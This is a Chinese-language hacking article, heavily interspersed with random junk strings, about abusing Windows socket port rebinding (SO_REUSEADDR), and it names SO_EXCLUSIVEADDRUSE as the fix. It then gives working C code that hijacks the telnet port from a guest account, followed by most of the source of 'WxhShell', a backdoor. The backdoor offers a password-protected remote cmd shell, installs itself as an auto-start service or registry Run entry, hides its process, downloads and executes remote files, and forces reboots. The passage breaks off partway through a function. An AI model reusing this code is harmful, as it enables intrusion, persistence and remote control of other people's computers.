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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: a"~o'W7 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); r4.6W[|d T&U}}iWN saddr.sin_family = AF_INET; eK8H5YE Gk;YAI saddr.sin_addr.s_addr = htonl(INADDR_ANY); )W@ug,y , ,3lH-C bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); PN}+LOD<t #mH@ /6,#[ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 :,BAw , *7Dba5B 这意味着什么?意味着可以进行如下的攻击: B6XO&I1c E}^V@ :j> 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 k(Yz2 ycGY5t@K@ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) |9@,ri\'Rg Tw~R-SiS`s 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 :\TMm>%q
>T$0*7wF 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 :\](m64z; LS@TTiN
其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 3F9V,zWtTi gv!8' DKn 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Z0|5VLk,<{ s8j |>R|k 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 yUoR6w ~f QrH%@ #include r}U6LE?> #include x"r0<RK #include u ExLj6 #include 9t! d.} DWORD WINAPI ClientThread(LPVOID lpParam); ?y>N&\pt2 int main() g/?Vl2W { G
hM WORD wVersionRequested; #h!+b DWORD ret; $m`Dyu WSADATA wsaData; MVatV[G BOOL val; &lc@]y8 SOCKADDR_IN saddr; HC0juT OiO SOCKADDR_IN scaddr; o$_0Qs$ int err;
/SvhOi SOCKET s; g`EZLDjt SOCKET sc; w0QtGQ| int caddsize; w+$$uz HANDLE mt; i Ad&o`C DWORD tid; LUbhTc wVersionRequested = MAKEWORD( 2, 2 ); iUKjCq02 err = WSAStartup( wVersionRequested, &wsaData ); U#<d",I if ( err != 0 ) { 2g(_Kdj*{ printf("error!WSAStartup failed!\n"); qLR;:$]Q&8 return -1; +in)(a. } YOxgpQ:i saddr.sin_family = AF_INET; cS&KD@. ]aN9mT
N //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ,@"yr>Q9#6 ?o<vmIge saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); z$ ^d_) saddr.sin_port = htons(23); $-_" SWG. if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) J%bNt)K} { X)g
X9DA printf("error!socket failed!\n"); cIug~ x> return -1; --HDE c| } h'ik3mLH val = TRUE; =D zrM% //SO_REUSEADDR选项就是可以实现端口重绑定的 o)Q4+njT@ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ]#~J[uk { pEB3qGA printf("error!setsockopt failed!\n"); r#- return -1; \F
_1C= } bLT3:q#s //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; N2h5@*1Y //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 (>`_N%_ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 4^(x)r
&(? j/V_h'} if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) a )O"PA}2 { as07~Xvp- ret=GetLastError(); (lsG4&\0F printf("error!bind failed!\n"); b+s'B4@rb return -1; ui]iOp } q NGR6i listen(s,2); %Z;RY5 while(1) T!
}G51 { /N0mF< P caddsize = sizeof(scaddr); z$<=8ox8e //接受连接请求 A;!5c;ftj, sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); [bLKjD if(sc!=INVALID_SOCKET) vbJ<|#|r- { mQj# \<* mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 4vg,g(qi< if(mt==NULL) O"9t,B>=i { zJ`u>:*$ printf("Thread Creat Failed!\n"); sbvP1|P8% break; 97c0bgI!+ } bbL\ xq^ } s'O%@/;J CloseHandle(mt); ft"- } l,n_G/\ closesocket(s); Vmz#u1gGT6 WSACleanup(); DLwlA!z return 0; piIZ*@' } t/i*.>7 DWORD WINAPI ClientThread(LPVOID lpParam) ?!ap@)9 { Ust +g4 SOCKET ss = (SOCKET)lpParam; 5{ap SOCKET sc; SiNgV\('U unsigned char buf[4096]; XRaGV~ SOCKADDR_IN saddr; F'~r?D long num; '{`KYKLP+ DWORD val; j)ic7b DWORD ret; besc7!S //如果是隐藏端口应用的话,可以在此处加一些判断 d /jx8(0 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 dcKpsX saddr.sin_family = AF_INET; P IG,a~ saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); U=v>gNba saddr.sin_port = htons(23); >A )Sl' if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) .)*&NY!nsl { j,rc9 printf("error!socket failed!\n"); 8;M,l2pmR{ return -1; \ZnA%hC } `=Mk6$%Cs val = 100; 5|0}bv O if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ~#gc{C@ { G-CL \G\n ret = GetLastError(); D(z#)oDr return -1; U& GPede } >$kFYb>~q if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) erI&XI { W{Qb*{9 ret = GetLastError(); {UH45#Ua return -1; \]Y<d } Tp ;W if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) S5|7D[* { :F d1k
Jm printf("error!socket connect failed!\n"); 4#t'1tzu# closesocket(sc); &"u(0q closesocket(ss); 7Kym|Zg return -1; t{,$?} } 2NFk#_9e~ while(1) !fs ~ > { %g*nd#wG //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 7L+Wj }m //如果是嗅探内容的话,可以再此处进行内容分析和记录 *wAX&+); //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 E[hSL#0 num = recv(ss,buf,4096,0); do`'K3a" if(num>0) }51QUFhL0 send(sc,buf,num,0); ^uo,LTq+ else if(num==0) \,v^v]| break; YBY;$&9 num = recv(sc,buf,4096,0); zGe =l; if(num>0) fq1w <e send(ss,buf,num,0); ^uX"04>; else if(num==0) +4J'> dr break; xb7!!PR } 8V(~u^!%_ closesocket(ss); l="(Hp%b closesocket(sc); [6@bsXiw return 0 ; Sw$&E } lC*xyOK tL&_@PD)3 .KYs5Qu ========================================================== pg!mOyn .aL%}`8l? 下边附上一个代码,,WXhSHELL 0gyvRM@ x[ D}%VZA}]. ========================================================== EAY+#>L* Q3r]T.].h #include "stdafx.h" };2Lrz9< !}A`6z #include <stdio.h> n2aUj(Zs= #include <string.h> y2k's #include <windows.h> %AV3eqghCg #include <winsock2.h> UB] tKn #include <winsvc.h> ,>g(%3C #include <urlmon.h> PazWMmI ldG8hK #pragma comment (lib, "Ws2_32.lib") HJr*\%D}1 #pragma comment (lib, "urlmon.lib") G>Bgw>#_ //G&=i$ #define MAX_USER 100 // 最大客户端连接数 FpttH?^ #define BUF_SOCK 200 // sock buffer 6
y"r' #define KEY_BUFF 255 // 输入 buffer :A#'8xE/ 6o#J #define REBOOT 0 // 重启 }+ W5Snx #define SHUTDOWN 1 // 关机 =M{&g
wQ-BY"cK\ #define DEF_PORT 5000 // 监听端口 ")boY/ P/w q89yW)XG #define REG_LEN 16 // 注册表键长度 E=v4|/['N #define SVC_LEN 80 // NT服务名长度 ABEEJQ {3Gj
rE // 从dll定义API *~`oA~-Q typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); qvsfU*wo? typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Jx3a7CpX typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 7DW-brd
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); )W @ 4P2p|Gc3 // wxhshell配置信息 ),<h6$ struct WSCFG { "{{@N4^ int ws_port; // 监听端口 a$"Z\F:x char ws_passstr[REG_LEN]; // 口令 4/o9K*M+ int ws_autoins; // 安装标记, 1=yes 0=no 54JI/!a char ws_regname[REG_LEN]; // 注册表键名 &=8ZGjR< } char ws_svcname[REG_LEN]; // 服务名 $
z+
=lF char ws_svcdisp[SVC_LEN]; // 服务显示名 Z\-Gr
2k char ws_svcdesc[SVC_LEN]; // 服务描述信息 DL_M#c`< char ws_passmsg[SVC_LEN]; // 密码输入提示信息 hHt.No int ws_downexe; // 下载执行标记, 1=yes 0=no ;r;>4+zn\ char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" L8;`*H char ws_filenam[SVC_LEN]; // 下载后保存的文件名 e mq%"
;. +SRM?av }; ieyqp~+|4$ ^J?2[( // default Wxhshell configuration IxP$lx struct WSCFG wscfg={DEF_PORT, 'u[cT$ "xuhuanlingzhe", "Q23s" 1, ~O~we "Wxhshell", '?|.#D#-c "Wxhshell", [o'}R`5) "WxhShell Service", +w?1<Z "Wrsky Windows CmdShell Service", WsM/-P1Y "Please Input Your Password: ", bF@iO316H 1, ^w
RD| " http://www.wrsky.com/wxhshell.exe", |?fc]dl1] "Wxhshell.exe" KueI*\ p }; m<9W# ,g)9ZP.F // 消息定义模块 w68VOymD/ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @0:mP char *msg_ws_prompt="\n\r? for help\n\r#>"; }>Lz\.Z/+[ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; ku5g`ho char *msg_ws_ext="\n\rExit."; "%t !+E>nr char *msg_ws_end="\n\rQuit."; P[cGCmM char *msg_ws_boot="\n\rReboot..."; YAF0I%PYU char *msg_ws_poff="\n\rShutdown..."; "jl`FAu)q char *msg_ws_down="\n\rSave to "; 3TD!3p8 l5k]voG char *msg_ws_err="\n\rErr!"; !I8(Y char *msg_ws_ok="\n\rOK!"; r,Pu-bhF Y0OVzp9 b char ExeFile[MAX_PATH]; {QLqf int nUser = 0; ]_)=xF19 HANDLE handles[MAX_USER]; HPWjNwM int OsIsNt; VM
ny>g&3
XN'X&J SERVICE_STATUS serviceStatus; qo;F]v*pkK SERVICE_STATUS_HANDLE hServiceStatusHandle; M7lMOG(\ j[1^#kE // 函数声明 3412znM& int Install(void); "V_PWEi int Uninstall(void); Fx*IeIs(:~ int DownloadFile(char *sURL, SOCKET wsh); mCpoaGV_ int Boot(int flag); q}R" void HideProc(void); |7T!rnr int GetOsVer(void); jZY9Lx8o int Wxhshell(SOCKET wsl); ;c>Rjg&[ void TalkWithClient(void *cs); u"n~9!G int CmdShell(SOCKET sock); 4~r=[|(aY int StartFromService(void); ? Kn~fs8 int StartWxhshell(LPSTR lpCmdLine); k}Vu!+c z hMs}r,* VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \+w -{"u$ VOID WINAPI NTServiceHandler( DWORD fdwControl ); V/!8q`lYNJ aKCXV[PO // 数据结构和表定义 A&0sD}I\K SERVICE_TABLE_ENTRY DispatchTable[] = SY2B\TV { 8:A6Ew&\]O {wscfg.ws_svcname, NTServiceMain}, KH&xu,I {NULL, NULL} 2?7a\s }; D9&FCCiUE aI8K*D )@ // 自我安装
`Uw^,r int Install(void) J_mpI.^Bsf { FCmS3KIa, char svExeFile[MAX_PATH]; ffyKAZ{]po HKEY key; Xl%&hM strcpy(svExeFile,ExeFile); Zt[1RMO @le23+q // 如果是win9x系统,修改注册表设为自启动 gasl%& if(!OsIsNt) { " mE<r2=@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,G,T&W RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); e~weYGK RegCloseKey(key); {/ _.]Vh if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { yHoj:f$$x RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); uEuK1f` RegCloseKey(key); oZ~M`yOz. return 0; ^\\cGJ&8c } T3{qn$t8 } [XQoag;! } #PmF@
CHR else { .,x08M TM':G9n // 如果是NT以上系统,安装为系统服务 ]Ikj Z= SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !NYc!gYD if (schSCManager!=0) Z;i^h,j?$1 { UeT"v?zP SC_HANDLE schService = CreateService fD|ox ( zUxF"g-W schSCManager, r jL%M'; wscfg.ws_svcname, ,k@fXoW wscfg.ws_svcdisp, Nr7MSFiL SERVICE_ALL_ACCESS, 4 ITSDx SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 15gI-Qb SERVICE_AUTO_START, Wm.SLr,o0 SERVICE_ERROR_NORMAL, rq6(^I svExeFile, s 4}}MV3X NULL, I)O-i_}L&K NULL, YKUs>tQ! NULL, c66Iy" NULL, :/Nz' n NULL VxfFk4 ); GYv2^IB: if (schService!=0) c{#lKD<7 { 82Vxk CloseServiceHandle(schService); eGLLh_V" CloseServiceHandle(schSCManager); c-avX strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ")(1z@ strcat(svExeFile,wscfg.ws_svcname); ^QV;[ha,o if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { `pN]Ykt RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); W?/7PVGv5h RegCloseKey(key); K)0 6][, return 0; s6). ?oE } \"PlM!0du } ;mo}$^49* CloseServiceHandle(schSCManager); 2&!G@5 } !cE)LG } Ar=pzQ<Z{ T cSj`- return 1; e[n T'e } JT<Ia >1mCjP // 自我卸载 TiF$',WMv int Uninstall(void) }kXF*cVg { J/wot,j^ HKEY key; JVTG3:zD ;Z.}~d6>! if(!OsIsNt) { F+L q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { i' |S
g RegDeleteValue(key,wscfg.ws_regname); Q9#$4 RegCloseKey(key); kG,6;aVZ8 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { u 8N+ht@ RegDeleteValue(key,wscfg.ws_regname); 1/w['d4l! RegCloseKey(key); ]b<k% return 0; 7,jh44(\= } [>?B`1;@ } |TEf? <"c } 8 s:sMU:Q else { Gz~P
0Z^w} 0t*q5pAG". SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %wvSD&oz if (schSCManager!=0) /1tqTi { l!q i:H<=1 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); "W:'cIw if (schService!=0) $o1Gxz { 4 "wuqr|o if(DeleteService(schService)!=0) { 8<?60sj CloseServiceHandle(schService); 0Km{fZYq7; CloseServiceHandle(schSCManager); {?BxVDD07 return 0; |'=R`@w~0 } K-_e' )22. CloseServiceHandle(schService); RpS'Tz} } ,1F3";`n[ CloseServiceHandle(schSCManager); O&\;BF5:R } }L@!TWR-Qu } 0=(5C\w2 ?exV:OKLb return 1; 1"~@UcJ } r#3_F=xL5 m]Z&
.,bA // 从指定url下载文件 LfrS:g int DownloadFile(char *sURL, SOCKET wsh) &HZ"<y{j { 7PP76$ HRESULT hr; i6(y Bn char seps[]= "/";
+<AX
0( char *token; `;4zIBJ char *file; jcOxtDTSW char myURL[MAX_PATH]; .#J'+LxFr char myFILE[MAX_PATH]; ,T jd i~.L{K strcpy(myURL,sURL); /[t]m,p$yq token=strtok(myURL,seps); =QOtag1; while(token!=NULL) `2d ,=.X { 1|n,s- file=token; ShHm7+fV
token=strtok(NULL,seps); cq
%=DZ } -~v;'zOO 6#.z:_ GetCurrentDirectory(MAX_PATH,myFILE); e/F=5_Io strcat(myFILE, "\\"); Q6kkMLh strcat(myFILE, file); +`_%U7p( send(wsh,myFILE,strlen(myFILE),0); O^4:4tRpt send(wsh,"...",3,0); Z]":xl\7 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); y$#mk3(e~t if(hr==S_OK) )5)S8~Oc return 0; B]InOlc47 else &FIPEe#n return 1; ^0A'XCULG mTYEK4} } ezCsbV;. [
JTQ$p*2] // 系统电源模块 KDwjck"5; int Boot(int flag) 8GV$L~i { [L]
ca* HANDLE hToken; qnv9?Xh TOKEN_PRIVILEGES tkp; avykg( ft4J.oT if(OsIsNt) { =?0o5|u] OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); l)HF4#Bs LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); .P9ALJP(b tkp.PrivilegeCount = 1; XNf%vC> tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; k P>G4$e_v AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); X@5!I+u\L if(flag==REBOOT) { XQ%*U=)s if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Pc`d@q return 0; tlQ3BKp } 4 )*8& else { PDzVXLpC if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) s==gjA e: return 0; iAbtv^fn } mz3!HksZ" } 6#K1LY5 } else { X'IW&^kI if(flag==REBOOT) { 'kL>F&| if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 'h.{fKG]ME return 0; "<t/*$42 } yx4B!U else {
$F`jM/B6 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) =sPY+~<o return 0; 8 POrD8B } aYkm]w;C } '|G_C%,B aRC>pK. return 1; oXK`=.\ } b`PAOQ OTl\^! // win9x进程隐藏模块 $e_A( | void HideProc(void) ~}i&gd|( { \@8$tQCZ 2N9
BI-a HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \3hhM}6)DM if ( hKernel != NULL ) [58xT>5`m { 5<<e_n.2q pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); <}pqj3 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); a 9(1 6k FreeLibrary(hKernel); Aj*0nV9_ } W r);A{ >w9fFm!Q
return; ~2beVQ(U } bBW(#
Q_a d>M&jSCL // 获取操作系统版本 ;m,lS_[c int GetOsVer(void) MP-A^QT { Yi1_oe OSVERSIONINFO winfo; KCGs*kp> winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); /iQ}DbtRb GetVersionEx(&winfo); & G@(f= if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 'sn%+oN return 1; #U{^L{1Gx else <fC gU& return 0; t7H2z}06=h } cmmH)6c> @f{yx\u/ // 客户端句柄模块 R)?K+cJ% int Wxhshell(SOCKET wsl) Vrf2%$g { eOt T* SOCKET wsh; no?TEXp* struct sockaddr_in client; f"~+mO DWORD myID; )@RTU~# -IMm# while(nUser<MAX_USER) ?<YtlqL { 3/H^YM
@ int nSize=sizeof(client); 57'=Qz52 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); R0(Nw7!d/[ if(wsh==INVALID_SOCKET) return 1; p4\%*ovQt &,4^LFZW handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); {d.`0v9h if(handles[nUser]==0) |Vs|&0 closesocket(wsh); Ua#*kTF else =#[_8)q nUser++; dJ"3F(X } kzZtKN9Az WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); JUok@6 ^)m]j`}IGb return 0; @#c(4}^ <w } f#pT6 6]Q
~c"+5 // 关闭 socket
Ash"D~ void CloseIt(SOCKET wsh) r*C:)z.} { B!K{y>|. closesocket(wsh); N#Bg`:! nUser--; )#l &F$ ExitThread(0); R|%
3JE0 } B08q/qi #m1e_[ // 客户端请求句柄 UB@>i3 void TalkWithClient(void *cs) Jvw~b\ { :
FF:{&d 'm# -)R! SOCKET wsh=(SOCKET)cs; j
wlmWO6 char pwd[SVC_LEN]; ;TD<\1HJT= char cmd[KEY_BUFF]; wb2N$Ew= char chr[1]; + ^{;o0kcx int i,j; M@UkXA} ez%RWck while (nUser < MAX_USER) { NDglse CsS0(n(x if(wscfg.ws_passstr) { y4$UPLm if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _tS<\zy@y //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); O66\s q //ZeroMemory(pwd,KEY_BUFF); &ME[H i=0; %4Ylq|d while(i<SVC_LEN) { @Ytsb!! e<dFvMO // 设置超时 G'q7@d{' fd_set FdRead; ]^Z7w`=%5 struct timeval TimeOut; \K9XG/XIx FD_ZERO(&FdRead); W%hdS<b FD_SET(wsh,&FdRead); RX4O1Z0 TimeOut.tv_sec=8; )/PvaL TimeOut.tv_usec=0; ^ ]SS\=7 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); D "j
=|4S# if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 8K*X]Z h [Maon.t!l if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "\Jq2vM pwd =chr[0]; VV)PSo db if(chr[0]==0xd || chr[0]==0xa) { I! {AWfp0 pwd=0; Wxkk^J9F3 break; Qf0$Z.- } w~afQA> i++; ;Jr6 } eft-]c+*0 {H#1wu^]O$ // 如果是非法用户,关闭 socket YiB]}/ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Qzw~\KY: } "Y}f"X| ?t$sju(\ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); X?z5IL;rt send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); zLc.4k 1GN>,Lb:o while(1) { [bUM x LN
]ks) ZeroMemory(cmd,KEY_BUFF); +2O('}t m <IPi < // 自动支持客户端 telnet标准 l<<0:~+q j=0; QbP
W_)N while(j<KEY_BUFF) { w-FZ`OA`D if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9*GwW&M%1_ cmd[j]=chr[0];
B]ul~FX if(chr[0]==0xa || chr[0]==0xd) { 5Qd |R cmd[j]=0; 5)'
_3r break; x=Qy{eIe } \xkLI:*\ j++; V^QKn+/ } 8 Mp2MZ*p gZuk( // 下载文件 N(vzxx^ if(strstr(cmd,"http://")) { cR}}N F send(wsh,msg_ws_down,strlen(msg_ws_down),0); i:Pg&474f if(DownloadFile(cmd,wsh)) ?{?mAbc send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7'S/hV% else R[LVx-e7' send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w(8q qU+\ } 1>jG*tr else { ~fI&F|
O*d&H;; switch(cmd[0]) { ~QFD ^SoK C$){H"# // 帮助 hhlQ!WV2 case '?': { bYQ h{q send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 0bQaXxt|p break; Vo+d3 } {S%)GvrT // 安装 yT`[9u, case 'i': { 0aQtJ0e16 if(Install()) kFgN^v^t send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6[$kEKOY= else "h_]it};C send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zwR@^ 5^6 break; Wv_5sPqLW } 7J~6J.m // 卸载 hE\,4c1 case 'r': { %1gJOV if(Uninstall()) bW;0E%_ send(wsh,msg_ws_err,strlen(msg_ws_err),0); )&1yt4
x6% else leiED' send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9Re605xQ6 break; d8<Lk9H9R } bv;&oc:r // 显示 wxhshell 所在路径 6#T?g7\pyR case 'p': { |w- tkkS char svExeFile[MAX_PATH]; E"!9WF(2t5 strcpy(svExeFile,"\n\r"); ?=jmyDXH! strcat(svExeFile,ExeFile); b5Rjn1@ send(wsh,svExeFile,strlen(svExeFile),0); GC66n1- X break; \hdR&f5q } o m`r^3, // 重启 P{)H7B> case 'b': { Z{+h~?63 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Y:&1;`FBZ if(Boot(REBOOT)) K6KEdXM4 send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,r{*o6 else { 4U<'3~RN closesocket(wsh); <]/`#Xgh ExitThread(0); m}:";>?# } 2n?\tOm(V break; %=/Y~ml? } vNLf)B // 关机 8V_
]}W case 'd': { fpM4q send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +1Si>I if(Boot(SHUTDOWN)) ~53E)ilB send(wsh,msg_ws_err,strlen(msg_ws_err),0); CEc&
G else { Tr)a6Cf closesocket(wsh); (6u<w#u ExitThread(0); W0tBF&E" } ^c< <I-o| break; ?Ee?Ol?i2 } _S8]W
!c // 获取shell Il2DZ5-
) case 's': { -kES]P?2 CmdShell(wsh); idGkX
? closesocket(wsh); BT
98WR"\ ExitThread(0); t"2WJ-1k} break; bVtboHlY } 4S 2I]d // 退出 =ADAMP case 'x': { I
m_yY send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); m{mK;D
CloseIt(wsh); +
h`:qB break; yZxgUF&` } wz.Il-sm // 离开 4I"QT(; case 'q': { EYGJDv(S send(wsh,msg_ws_end,strlen(msg_ws_end),0); TnL%_!V! closesocket(wsh); fB1JU1 WSACleanup(); miuJ!Kr' exit(1); ]j*o&6cQf break; AbZ:AJ(
} X^_,`H@ } 1k2Ck } vH#
US Br]VCp // 提示信息 X_HR$il if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hz Vpv,|G } :eQ@I+ } 3, ,Z $7TYix8= return; )prpG ! } GK95=?f~8; &BG^:4b // shell模块句柄 ~#I1!y~` int CmdShell(SOCKET sock) ~W5fJd0 { 4E4o=Z|K STARTUPINFO si; >m}.}g8 ZeroMemory(&si,sizeof(si)); 7*'_&0 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :b=`sUn<X+ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; s7FqE>#c0 PROCESS_INFORMATION ProcessInfo; &wNN| fH char cmdline[]="cmd"; ?U|~h1
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }-zx4<4BH return 0; YH':cze } !\y_ik
C1p
|.L?m // 自身启动模式 Yr-,0${m int StartFromService(void) k49CS*I { X%`8h_ typedef struct s<:"rw` { .
Nog. DWORD ExitStatus; 4I:Jb;k> DWORD PebBaseAddress; (`3Bi]7 DWORD AffinityMask; @=Ly#HuUM DWORD BasePriority; y>~=o9J_u ULONG UniqueProcessId; SjlkKulMF ULONG InheritedFromUniqueProcessId; e6sL N } PROCESS_BASIC_INFORMATION; .a=M@;p bRNE:))r_ PROCNTQSIP NtQueryInformationProcess; ><\mt ]P(Eo|)m static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .vG6\U7 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; BqR;d l,6="5t HANDLE hProcess; hH"3Y}U@ PROCESS_BASIC_INFORMATION pbi; lG\lu'<C rxP^L(q0* HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");
